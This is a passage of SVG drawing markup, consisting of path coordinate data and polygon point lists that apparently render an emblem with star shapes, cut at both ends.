2.31c-.76,2.56-1.34,5.93,0,8.39.15,0,.19,0,.29-.1-1-2.55-.43-5.49.43-7.9.67-4.09,4.88-5.3,7.89-6.84l.15.19c-.82,2.12-2,4.14-1.82,6.7.09.43-.19.86,0,1.15a5,5,0,0,0,1.77-2.21c.33-2.17-.91-4.87,1.29-6.46,3.92-1.54,7.61-3.57,12.15-3.61.15.14.48-.1.53.18-1,1.07-2.34,2.08-2.77,3.38-1.53,2.12-1.49,5.73-.82,8.34.43,1.49-.86,2.31-1.48,3.47-.3.41-.39,1.11-.66,1.58l.94.11-1.57.36a1.23,1.23,0,0,1-.53,0c-.77-2,1.53-3.18.81-5.1a3.47,3.47,0,0,0-3.3-2,4,4,0,0,0-3.83,2c-1.1,2.41.29,4.91.72,7.27-.1.77.77,1.64,0,2.27a6.51,6.51,0,0,0-5.4-1.11c-.58.29-1.63-.1-1.91.58,2.05,1.1,4.68,1,7,.86.28-.09.47-.14.71,0,.2,1.25-.24,2.94.53,4a4.9,4.9,0,0,0,3.68,1.59c4.41-.14,8.33-1.44,12.35-2.46.62-.05,1.1-.38,1.77-.38a34.49,34.49,0,0,1,6.79-.92,12,12,0,0,0-2,4.34c-.58,1.3,1,1.49,1.48,2.22-1.48.43-2.54,1.44-3.93,2-3.05-.1-5.64,1.06-8.51,1.4,0,.62,1,.43,1.1,1.06-.14.43-.58.48-.91.72,0,.29,0,.34.29.38.29-.33.91-.09,1.19-.43,1,0,1.77-.29,2.68-.34a8.56,8.56,0,0,0,2.44-1c1-.29,1.63-1,2.63-1.25,1.44,0,2.73-.48,4.07-.58v.29c-1.1,1.78-2.24,3.61-3.39,5.3a.53.53,0,0,0,.33.77,2.5,2.5,0,0,0,1.87-.29,57.88,57.88,0,0,0,2.72-5.16c.34-1.64,1.53-2.5,2.73-3.61.19-.1.48-.39.67-.1a21.17,21.17,0,0,0-2.29,3.38c-.39,1.35-.49,3.08.71,4.19.57.48,1.44.34,2.2.39,1.87-1,4.26.57,5.7-1.26.86-.14,1,.87,1.48,1.35.81.24,1.67,1.06,2.49.48-.05-.53-.63-1-.91-1.49-.58-1-1.29-1.83-1.82-2.75a9.49,9.49,0,0,1-.77-1.78,14.66,14.66,0,0,0,2.59,1,16.74,16.74,0,0,1,2.59.77,8.88,8.88,0,0,0,2.39,1.84c1.19.57,2.53.67,3.77,1.15.49,0,1.2.44,1.54,0a2.14,2.14,0,0,0-.72-.53c-.15-.62.86-.29,1.19-.77a.67.67,0,0,0-.55-.37c-.69-.36-2.39-.49-2.85-.74a9.78,9.78,0,0,1-1.67-.53c-2.87,0-4.45-2.6-6.74-3.56.52-.49,1.33-.88,1.67-1.59a2.7,2.7,0,0,0,.14-2.56c-.43-1.49-2.34-1.3-3.44-2.12l.14-.15a20.11,20.11,0,0,1,5.17.68c4.59.62,8.85,2.36,13.64,2.46,2.63,0,5.93.14,7.22-2.41.24-1.5.53-3,.77-4.48.57-2.41,2.15-4.63,1.91-7.28a5,5,0,0,0-3.25-3,4.14,4.14,0,0,0-4.16,1c-1.73,1.4-.53,3.71-.48,5.59,0,.39.05.68-.34.87-6.93-.63-13.39-2.36-20.29-3.08-1.58-.28-3.17-.21-4.68-.52l-1.92-.21c-6,.2-12,.53-17.56,2-1.19.38-2.54.48-3.73.91-.86-.14-1.58.48-2.39.25a5.13,5.13,0,0,0,1.62-3.19,1.34,1.34,0,0,0,.91,1c.34-.53-.28-.92-.33-1.45.76-.43,1.1.53,1.72.73a12.14,12.14,0,0,0,2.92.67l.33-.34c-1-1.64-3.16-1.92-5-2-1-1.59-1-3.57-.86-5.5a8.19,8.19,0,0,1,.95-3A7.36,7.36,0,0,1,152.53,99a6.76,6.76,0,0,1,3-1.63h.15a.21.21,0,0,0,.05.14c-1.29,1-1.44,2.41-2.2,3.67a4,4,0,0,0-.43,4.18c.28.63.14,1.6.81,2a10.65,10.65,0,0,0,1-2.94c-.14-1.59-1.1-3.08-.19-4.63a4,4,0,0,1,2.58-2.12c2.64-.24,4.93,1.11,7.23,2.12.48.34,1.29.63,1.39,1.31a3.91,3.91,0,0,1-6.13,3.18,3.33,3.33,0,0,1-.76-2.94,2,2,0,0,1,2.1-.77c.48.24.91.72,1.53.43a.59.59,0,0,0,.19-.77c-.52-.29-.71-1-1.43-1.11a3.07,3.07,0,0,0-2.63.53,3.38,3.38,0,0,0-1.1,3.37,4.12,4.12,0,0,0,3,3.09,5.56,5.56,0,0,0,5.89-2,6.45,6.45,0,0,0,1.06-2.07,12.54,12.54,0,0,1,4.92,6.36,10.33,10.33,0,0,1,.05,2.41l1.67.15a1.61,1.61,0,0,1,.15-1.16,14.41,14.41,0,0,1,4.93-7.9c.81-.48.61.62.81,1a6.44,6.44,0,0,0,4.16,3.66,5.24,5.24,0,0,0,5.17-1.68c.62-1.16,1.39-2.85.33-4a3.26,3.26,0,0,0-2.62-1.25,3.21,3.21,0,0,0-2.63,1.78c0,.39-.06.82.28,1,.19,0,.58,0,.72-.24.1-.72.71-1.06,1.29-1.45a1.49,1.49,0,0,1,1.53.29,2.57,2.57,0,0,1,.67,1.88,2.93,2.93,0,0,1-1.58,2.27,4.86,4.86,0,0,1-4.59-.44,10.17,10.17,0,0,1-1.34-2.12,3.41,3.41,0,0,1,0-2.21,16.07,16.07,0,0,1,6.84-2.41,4.92,4.92,0,0,1,2.54,1.58c2.2,2.27-.48,5.5,1.05,8,.58-.1.58-.87.81-1.35.72-1.73-.19-3.62-.62-5.3A9.74,9.74,0,0,0,190.33,98a1.31,1.31,0,0,1,.58-.09,12,12,0,0,1,2.92,2.5,13,13,0,0,1,1.86,7.91c-.38,1.44-1.91,2.12-3.11,2.65a4.36,4.36,0,0,0-1.29,1.54c.58.33,1.39,0,2-.24.91-.34,1.44-1.5,2.06-2,.09,0,.05.19.09.29,0,.52-.23,1.25.24,1.39a16.72,16.72,0,0,0,.43-2.46,4.66,4.66,0,0,1,.91,2.41c.43.87,1.15,2,2.3,2.17.29-.43-.05-.87-.14-1.25-.15-1.21-1.15-1.83-1.82-2.7-1.68-2.31-.91-5.93-2.2-8.53A10.3,10.3,0,0,0,192.54,98l.19-.19c2.34,0,4.3.72,6.46,1.16,2.63,1.3,6.46,1,7.7,4.43a12.65,12.65,0,0,0,2.73,5.2l.14-.09a2,2,0,0,0,0-1.79c-.29-2.4-2.39-3-3.5-5l.15-.2a33.53,33.53,0,0,1,3.49,1.11c3.83,1.06,6.5,4.82,7,8.72a18.93,18.93,0,0,1-1.77,8.24c-.15.39-.82.82-.39,1.16.53-.39.63-1,.91-1.45a13.37,13.37,0,0,0,1.59-9.68c-.06-.63-.77-1.11-.44-1.73a1.56,1.56,0,0,0,.82.43c.29-.2.72-.2.91-.53s.24-.63,0-.87a1.3,1.3,0,0,0-1.39-.34,2.36,2.36,0,0,0-.58,1.06,9.78,9.78,0,0,0-1.72-2.55l.1-.14c2.15.72,4.11,1.77,6.32,2.36a3.18,3.18,0,0,0,1.67.52,46.46,46.46,0,0,0,5.88,1.5c1.44-.15,2.64.53,4.07.19ZM156,132.07l-.67-.62c.33-.43,1-.19,1.58-.48a8.22,8.22,0,0,1,4.06-.58c-1.44,1.16-3.3,1.3-5,1.68Zm29.87-.76a21.25,21.25,0,0,0,5.1,1.2c-.15.66-1.31,0-1.18,1-1.48-.57-3.21-.86-4.31-2,.1,0,.2-.19.39-.14ZM141,110.82a3.45,3.45,0,0,1,1.15-2.41,4,4,0,0,1,3.78.15,1.8,1.8,0,0,1,.77.91,2.17,2.17,0,0,1-.72,2.17h-.48a5.45,5.45,0,0,1,.28-2.17c0-.58-.52-.62-.9-.87a2.84,2.84,0,0,0-2.16.49,2.16,2.16,0,0,0-.62,2.12c.33.53.05,1.25.24,1.83l-.14.19a3,3,0,0,1-1.2-2.41Zm2.25,1.38c.72.53,1.72.29,2.58.44a1.75,1.75,0,0,1-.24,1.63c-.81-.19-1.86-.1-2.3-.87.1-.33-.13-.81,0-1.2Zm-.14-1.62c.14-.38,0-1,.52-1.06.34-.09.86-.09.91.29a9.18,9.18,0,0,1-.24,1.69,1.09,1.09,0,0,1-1.19-.92Zm22.44,15.47a5.21,5.21,0,0,1,1.53-4.34,2.77,2.77,0,0,1,2.06.1c-1.25.34-2.83.62-3.11,2.22.05.62-.15,1,.14,1.49.52.92,1.72.53,2.39,1.25a.62.62,0,0,1-.43.58,18.89,18.89,0,0,1-2.58-1.3Zm-1.72,3.33c1.15-.49,2.34-1.5,3.63-1.06a6.61,6.61,0,0,1-3.63,1.06Zm4.54.48a35.4,35.4,0,0,1-2.34,4.53c-.1.24-.48.29-.77.34,0-.68.67-1.21,1-1.79,1-1.3,1.3-2.69,2.44-3.95.29.29-.28.48-.28.87Zm1.2-2.8v.19h-.1V127h.19a.33.33,0,0,0-.19,0Zm-.43-1.3a11.55,11.55,0,0,1-2.3-.57c-.48-.49,0-1,0-1.55.67-1.06,2.58-1.59,3.49-.62a5.09,5.09,0,0,1-1.19,2.74Zm1.05,0a8.13,8.13,0,0,1,.76-2,4,4,0,0,1-.76,2Zm.52-3.9c-.62-.15-1-.87-1.62-.87a3.91,3.91,0,0,1,1.81,0c.24.34-.13.63-.19.92Zm.58,1.45h0v-.53h0v.53Zm.05,2.21c-.05-.19.09-.43.14-.67.24-.24.48.19.58.34a.73.73,0,0,1-.72.33Zm.72-3a5.19,5.19,0,0,1,.71-1.78,2.83,2.83,0,0,1,1.29.19c.1,1,1.3,2.27,0,3.09-.43.19-1.05.62-1.53.19a1.33,1.33,0,0,1-.47-1.69Zm3.49-1.35c-.11-.43.42-.09.62-.28l1.48.09c-.77-.09-1.72,1.69-2.1.19Zm2.39.63c-.58.19-1,.87-1.58,1a1.94,1.94,0,0,1,1.58-1Zm-2,3v.14h-.05v-.14Zm.09,2.94c-.05.09,0,.24-.09.34l-1.1-.87a1.13,1.13,0,0,1,1.19.53Zm-1.29-1.49a.35.35,0,0,1,.43,0Zm-.67-.73c.2-.29.43-.72.77-.72a.2.2,0,0,0,.09.14,2.3,2.3,0,0,1-.86.58Zm-1.1-.1h-.19l.29-.28c.14.09-.05.19-.1.28Zm.14,1.83c.63-.67,1.2.39,1.44.92.72,1.06,2.59,2,1.87,3.47-.92.82-2.35.05-3.35.68-.53,0-1.43.09-1.72-.44a28.42,28.42,0,0,1,1.76-4.63Zm-1.33.92.24-.38a20.66,20.66,0,0,1-1.58,3.47c-.29-1.16.91-2.08,1.34-3.09Zm2.1,5.74c-.91.05-2.3.58-3.16-.2.06-.38-.38-.58-.33-1,.76-.29,1.43.63,2.15-.05a19.75,19.75,0,0,1,3.35.1c.53.14,1.34-.87,1.44.14-.39,1.59-2.3.48-3.45,1Zm2.78-6.94v-.15h.09V127Zm.28,3c0,.48.53.68.24,1.11a1.48,1.48,0,0,1-.24-1.11Zm1.34,2.9L178,133c-.23-.19-.14-.72-.09-1,.28.24.53.58.33.92Zm2.39,1.15c0,.15-.28.15-.37,0a25.52,25.52,0,0,1-3-5.78l.19,0c1.15,1.88,2.06,3.95,3.2,5.78Zm1.78-4.43a.19.19,0,0,0-.1.19c-1.39.05-2.3-.77-3.35-1.49l-.05-.24a8.89,8.89,0,0,1,3.5,1.54Zm-1.25-6.41c.57.14.62.77.67,1.25a2.85,2.85,0,0,1-3.49,2.56,3.07,3.07,0,0,0,2.87-1.64l-.05-2.17Zm-1.05-.19a3.21,3.21,0,0,1,.43,2.12c-.48.91-1.44.91-2.3,1.11a1.51,1.51,0,0,1-1.1-.35.48.48,0,0,0-.19-.48c.15-.62-1.1-1.25-.24-1.78.76-.72,2.59-2.36,3.4-.62Zm21.58-15a3.34,3.34,0,0,1,2.78.1,2.15,2.15,0,0,1,1.58,1c.71.67.52,1.87.38,2.74a2.75,2.75,0,0,1-2.06,1.64c0-1.16,1.1-2,.72-3.28a2.89,2.89,0,0,0-3-1c-.43.29-.24.77-.38,1.21l-.19,1.58c-1,0-1-.86-1.3-1.54a2.83,2.83,0,0,1,1.49-2.51Zm.87,4.34c.52-.53-.15-3.56,1.33-1.59,0,.39.05,1-.33,1.26s-.62.57-1,.33Zm.52,1.21c0,.77-.67.57-1.05.87h-1.15a2.63,2.63,0,0,1-.15-1.35,9.35,9.35,0,0,1,2.35.48Zm-48,.14a81.5,81.5,0,0,1,11.05-1.68c4.31,0,8.71-.29,12.83.43,1.34,0,2.49.38,3.78.48,2.68.34,5.17,1.07,7.89,1.25a13.1,13.1,0,0,0,1.44.25c4.31.67,9.14,1.87,13.25,0,0,1.73-.71,3.32-1,5-.39.48,0,1.25-.53,1.68,0,.87-.72,1.3-1.33,1.64-5.7,1.25-11.3-.67-16.8-1.64-7.71-1.68-16.7-2.16-24.55-.38-3.68.67-7.27,1.54-10.81,2.55-2.21.29-4.6.63-6.7,0-1.72-.83-1-3-1.53-4.58a25.89,25.89,0,0,0-.39-3.33,2.85,2.85,0,0,1-.19-1.25,20.63,20.63,0,0,1,2.2.82c4,.77,7.61-.53,11.34-1.21Zm51.68-34.21c0-.1-.19-.15-.14-.29,1.72-.44,3.2-1.45,4.93-1.88h0l.19.57-.1,1.6Zm0-4a5.87,5.87,0,0,0,.86-1.3c.05-.48-.19-.67-.48-1,.34-.34.87-.24,1.3-.34a5.41,5.41,0,0,1,2.67,3.19,33,33,0,0,1-5.83,2.16h0a17.8,17.8,0,0,1,1.48-2.7Zm-17-11.4c1.53,2.54,3.44,5.44,6.28,6.39,1.53,1.25,3.45,2.75,5.5,1.64,1.1-.34,1.2,1.21,1.73,1.83.57,1.79-.73,3-.82,4.68l-.07.15a1.91,1.91,0,0,1-1.12,1,11.28,11.28,0,0,1-2.2.63c-6.23,2.41-12.68,5-17.61,9.88a5.65,5.65,0,0,0,.47-2,4,4,0,0,0-.52-2.11,3.19,3.19,0,0,1-.36-1.27l6-3.81c1.52-.7,2.62-3,2.62-5.57l0-15.73.08,4.37Zm-1,11.7a5.79,5.79,0,0,1-2.17,4.45l-12.57,8h-.07a1.54,1.54,0,0,1-1,.34,1.56,1.56,0,0,1-1-.36l-12.55-8a5.75,5.75,0,0,1-2.16-4.45V69.46a.24.24,0,0,0,.38,0c1.25-.83.86-2.66.86-3.91.29-1.5-.76-2.21-1.19-3.52a.12.12,0,0,1-.05,0V51h5.21a4.22,4.22,0,0,0,1.15.5l.36-.5h24.75V75.89ZM154.59,57.57a3.93,3.93,0,0,1,1.63-2.75.55.55,0,0,1,.24.34h0v5.25c-.46-.93-2.36-1.64-1.88-2.84Zm9.18,31.86a90.86,90.86,0,0,0-15.88-9.61c.5-1.43.93-2.6,1.05-2.83a8.28,8.28,0,0,0,.29-2.22,9.34,9.34,0,0,0,.29-3.27A22.61,22.61,0,0,1,151,67c.29-.73.53-1.5.81-2.22a7.45,7.45,0,0,1,1-2.51c1.48.94,2.92,1,3.7,2.48l0,10.78c0,2.6,1.1,4.87,2.62,5.57l5.19,3.3c.07,1.66-1,3.14-.53,4.91v.1Zm7.37,10.06A34.79,34.79,0,0,0,165,90.68c-.1-.44-.53-.82-.29-1.3a3.52,3.52,0,0,0,.62-3.66c-.09-.25-.37-.54-.33-.78l-.4-.32,7.32,4.64a1.54,1.54,0,0,0,2.2.13l2.48-1.57c-1.81,2.69,1.13,6.62-1.17,9.17v.19c-.67.87-1,1.74-1.91,2.31-1.15-.48-1.58-1.78-2.25-2.74-1.06-1-1.06-3.09-.44-4.48.44-1.4-.28-2.6-.42-3.86l-.48-.28a5.54,5.54,0,0,0-.67,5.63c.48.87.53,2.08,1.24,2.8a15.6,15.6,0,0,0,2.06,3.57c.19.48-.29.57-.53.81-.52-.33-.43-1.11-.91-1.45Zm3.21,5.4c-.19.58-.58,1.06-.52,1.69l-.2.1c.14-.73-.57-1.16-.38-1.93-.38-.58-.38-1.3-.72-1.93s.38-1.1.72-1.63c.67.28.91.91,1.38,1.49.29.82-.33,1.44-.28,2.21Zm-.29-4.62a16.06,16.06,0,0,0,3.4-7c.34-.24.1-.86.43-1.16-.09-.76.43-1.53.05-2.16.3-1.06-1.4-2-.31-2.7l-.22.1,3.05-1.93a6.65,6.65,0,0,0-.37,4.05c.15.86.86,1.88.2,2.64-2.3,2.8-3.6,6.17-5.13,9.36-.57-.1-.86-.63-1.1-1.16Z" transform="translate(-23 -22)"/><path class="cls-1" d="M226.27,101.86a7.3,7.3,0,0,0-6.94,2.26c-.1.1-.05.25.09.34a1.3,1.3,0,0,0,.63-.14c2.39-.1,4.74-.53,6.41-2,.09-.24-.19-.29-.19-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.79,103.93c.54-.24,1-.63.78-1.3a.91.91,0,0,0-1.49-.29c-.15.24-.48.44-.34.82a1.38,1.38,0,0,0,1,.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.88,103.26c.09.29.29.67.62.72a.94.94,0,0,0,.86-.25,1,1,0,0,0,.24-1c-.28-.44-.71-.39-1.1-.39a1,1,0,0,0-.62.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119,106.19v-.33c-1.82-1.3-3.25-3.23-5.65-3.23-.28.1,0,.29,0,.43a6.49,6.49,0,0,1,2.54,2.42,3.71,3.71,0,0,0,3.11.71Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,102.63a8.86,8.86,0,0,0-4.26,4.58c.29.33.58-.15.91-.15,2-.72,2.92-2.74,4-4.38a1.53,1.53,0,0,0-.67-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.9,103.64c.24.29.43.58.81.53.34-.29.72-.38.67-.91a1,1,0,0,0-1-.53c-.23.24-.67.43-.47.91Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.57,103.55l-.24-.29c-1.53.62-2.49,2.26-3.16,3.71-.24.43-.81.91-.57,1.39,1.53-.24,2.34-1.49,3.3-2.6.43-.67.24-1.59.67-2.21Z" transform="translate(-23 -22)"/><path class="cls-1" d="M102.72,104.08a.9.9,0,0,0,.38,1.15,1.11,1.11,0,0,0,1.1-.19.93.93,0,0,0,0-1.06c-.33-.58-1.19-.34-1.48.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M100.33,104.17a.94.94,0,0,0-.48,1,1,1,0,0,0,1.1.63,1.1,1.1,0,0,0,.67-.58c0-.24-.09-.44-.14-.67a1,1,0,0,0-1.15-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M105.3,105.42c.39.39.78.88,1.45.58.57-.09.47-.77.37-1.15a1.32,1.32,0,0,0-1.24-.39,1.11,1.11,0,0,0-.58,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.07,105.09a1.87,1.87,0,0,0-.68.53c-.29.33.24.57.34.86.24,0,.67.15.91-.09s.28-.58.33-.92c-.19-.38-.62-.23-.9-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.34,106.05a1.28,1.28,0,0,0,1.11.53c.38,0,.57-.43.71-.77-.09-.53-.71-.72-1.19-.72s-.81.43-.63,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,106.05a1.05,1.05,0,0,0-2.06.1,1.15,1.15,0,0,0,1.48.72c.2-.15.63-.43.58-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240,105.57c-.29.29-.63.62-.2,1a1.12,1.12,0,0,0,1.15.2,1,1,0,0,0,.43-.82c-.14-.58-1-.63-1.38-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M101.81,106.3a.89.89,0,0,0-.47,1,1.09,1.09,0,0,0,1,.68,1,1,0,0,0,.57-1.21,1.09,1.09,0,0,0-1.15-.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.34,108.56a1.06,1.06,0,0,0,.67-1.26.93.93,0,0,0-1.62-.09c-.38.24-.14.77.05,1a1,1,0,0,0,.9.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.7,107.21c-.29.1-.38.29-.63.48-.13.43.15.72.39,1s.53.15.71,0c.16-.29.73-.39.53-.92-.28-.28-.47-.77-1-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M243.3,108.17a1.09,1.09,0,0,0-1.1-.67c-.33.1-.38.34-.67.53,0,.43,0,.82.43,1.06a1.27,1.27,0,0,0,1.1-.2c.05-.24.34-.38.24-.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.06,112.46v-.38a12.81,12.81,0,0,0-3-2.56c0-.29.34-.14.53-.19.38-.14.91-.44.71-1a1.61,1.61,0,0,0-.71-.68c-.39-.1-.57.19-.86.25-.82.57.52,1-.1,1.73-.86,0-2-.19-2.63.43.38.34,1,.34,1.29.58a6.45,6.45,0,0,0,4.74,1.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219,108.22c-.14.48.24.77.49,1.11a1,1,0,0,0,1.05-.2c0-.23.33-.52.24-.77a1,1,0,0,0-1.78-.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.77,110.05c0-.72-.9-1-1.43-.58,0,.25-.29.44-.24.78a1,1,0,0,0,.87.57c.47,0,.66-.33.8-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.68,112.94c-.19.43-1,1-.81,1.4a4.92,4.92,0,0,0,3.83-3.18c.23-.67,1-1.06,1-1.73h-.29c-1.38,1-2.92,1.87-3.68,3.51Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.85,109.67c-.2.38-.44.77-.06,1.15.25.2.58.53,1,.39a1.26,1.26,0,0,0,.82-1.11c-.39-.53-1.2-1-1.77-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M221.29,109.86c-.33,0-.43.43-.67.68a1.05,1.05,0,0,0,.63.86c.14,0,.37-.05.47.1a1.18,1.18,0,0,0,.86-1.06c-.14-.58-.86-.63-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.06,110.39c-.33-.29-.47-.72-1-.53-.23.24-.66.53-.57,1a.93.93,0,0,0,.91.58,1,1,0,0,0,.71-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.6,110.82c.14.39.53.49.86.58a1.13,1.13,0,0,0,.91-.82,1,1,0,0,0-1.1-.72c-.33.24-.72.48-.67,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.44,114.73c.1-.35-.33-.58-.57-.78a9.45,9.45,0,0,0-2.72-3.51c-.39-.15-.87-.68-1.3-.24a9.86,9.86,0,0,0,2.49,3.85c.72.15,1.34,1,2.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.2,111.93c.43.1,1.06.19,1.34-.29a1.15,1.15,0,0,0,.1-1.06c-.33-.14-.58-.43-.91-.38s-.76.24-.91.62.15.82.38,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M131.86,111.5c-.29.29-.81.38-.57,1a.93.93,0,0,0,1.15.58c.48-.24.38-.82.33-1.2-.29-.24-.52-.44-.91-.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,115l-1.34-1.45c-.48-.14-.82-1-1.3-.58a.41.41,0,0,0,.2.49c.81,2.16,1.29,4.33,3.45,5.87h.18c.29-.24-.09-.57.05-.91a7,7,0,0,0-1.24-3.42Z" transform="translate(-23 -22)"/><path class="cls-1" d="M136.69,112.94c-1.48-.19-2.81.49-4.21.92a.39.39,0,0,0-.24.43c2.21,1.3,4.89.49,6.8-.86,0,0-.1-.05,0-.1l-2.3-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M121.86,117.42c.48.29.72-.24,1.1-.38,2-.48,3.49-2.46,5.12-3.47v-.38c-2.53.24-5.36,1.63-6.22,4.23Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.62,115.74c-.24-.39-.58-.39-1-.48-.24.14-.57.19-.71.53s0,.77.43,1a.65.65,0,0,0,.9,0,.77.77,0,0,0,.39-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M215.64,116a.49.49,0,0,0-.61,0,10.47,10.47,0,0,0-4.89.24c-.24.24-.72.1-.76.48,1.43.39,2.92,1.16,4.54.58a2.65,2.65,0,0,0,1.72-1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.51,118.15c.38-.15.43-.58.57-.77a1,1,0,0,0-1-.82c-.28.09-.67.19-.76.53s.09.57.19.87a1,1,0,0,0,1,.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M129.8,117c-.24.14-.57.19-.67.44a1.13,1.13,0,0,0,.15,1,1.06,1.06,0,0,0,1,.34,1.77,1.77,0,0,0,.66-.92c-.19-.38-.61-.87-1.1-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.08,117.76c-.14.34-.62.58-.33,1,.14.24.23.62.57.67a.81.81,0,0,0,1.05-.19,1.2,1.2,0,0,0,.33-.92,1,1,0,0,0-1.62-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.86,119.5c.57.23.76-.39,1-.63.1-.2,0-.43-.1-.68-.24-.14-.53-.52-.95-.38a.92.92,0,0,0-.58,1.3c.15.1.29.48.58.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,119a1.29,1.29,0,0,0-.58,1.39c.2.63.87.63,1.39.53a1.28,1.28,0,0,0,.48-1.3,1.15,1.15,0,0,0-1.29-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,123.3v.25c.77.48,1.53-.25,2.3-.39,1.34-.77,1.62-2.41,1.72-3.76-1.2,1.35-3,2.46-4,3.9Z" transform="translate(-23 -22)"/><path class="cls-1" d="M210.14,119.83a1,1,0,0,0-.62.53c-.14.34-.1.82.24,1s.86.29,1.15,0,.48-.48.28-.77a1.31,1.31,0,0,0-1.05-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M137.37,126.54c-.39-1.21,0-2.7-.68-3.81.05-.29-.33-.29-.23-.63a13.06,13.06,0,0,0-1.82-2,.27.27,0,0,0-.34.1c.48,1.69.34,3.62,1.39,5.06.52.49.86,1.4,1.68,1.31Z" transform="translate(-23 -22)"/><path class="cls-1" d="M212.49,120.32c-.24.24-.63.38-.48.86a1.8,1.8,0,0,0,.91.44c.24-.24.67-.34.67-.73a.79.79,0,0,0-1.1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.22,120.94c-.19,1.93,1.19,3.33,2.58,4.58H219c.25.1.29-.19.29-.33,0-2-1.48-3.19-2.78-4.3l-.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.54,123c-.23.24-.76.48-.71,1,.09.72.9.77,1.43.63a1.11,1.11,0,0,0,.43-.92,1,1,0,0,0-1.15-.67Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.8,128.7c1.25-1.35,3.06-2.26,3.73-4-.14-.38.63-.91-.14-1A6.73,6.73,0,0,0,208.7,128c0,.19-.14.58.1.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.4,126.43a1.42,1.42,0,0,0,1.06.54c.23-.25.66-.44.66-.87a1,1,0,0,0-1.1-.53c-.28.24-.67.38-.62.86Z" transform="translate(-23 -22)"/><path class="cls-1" d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" 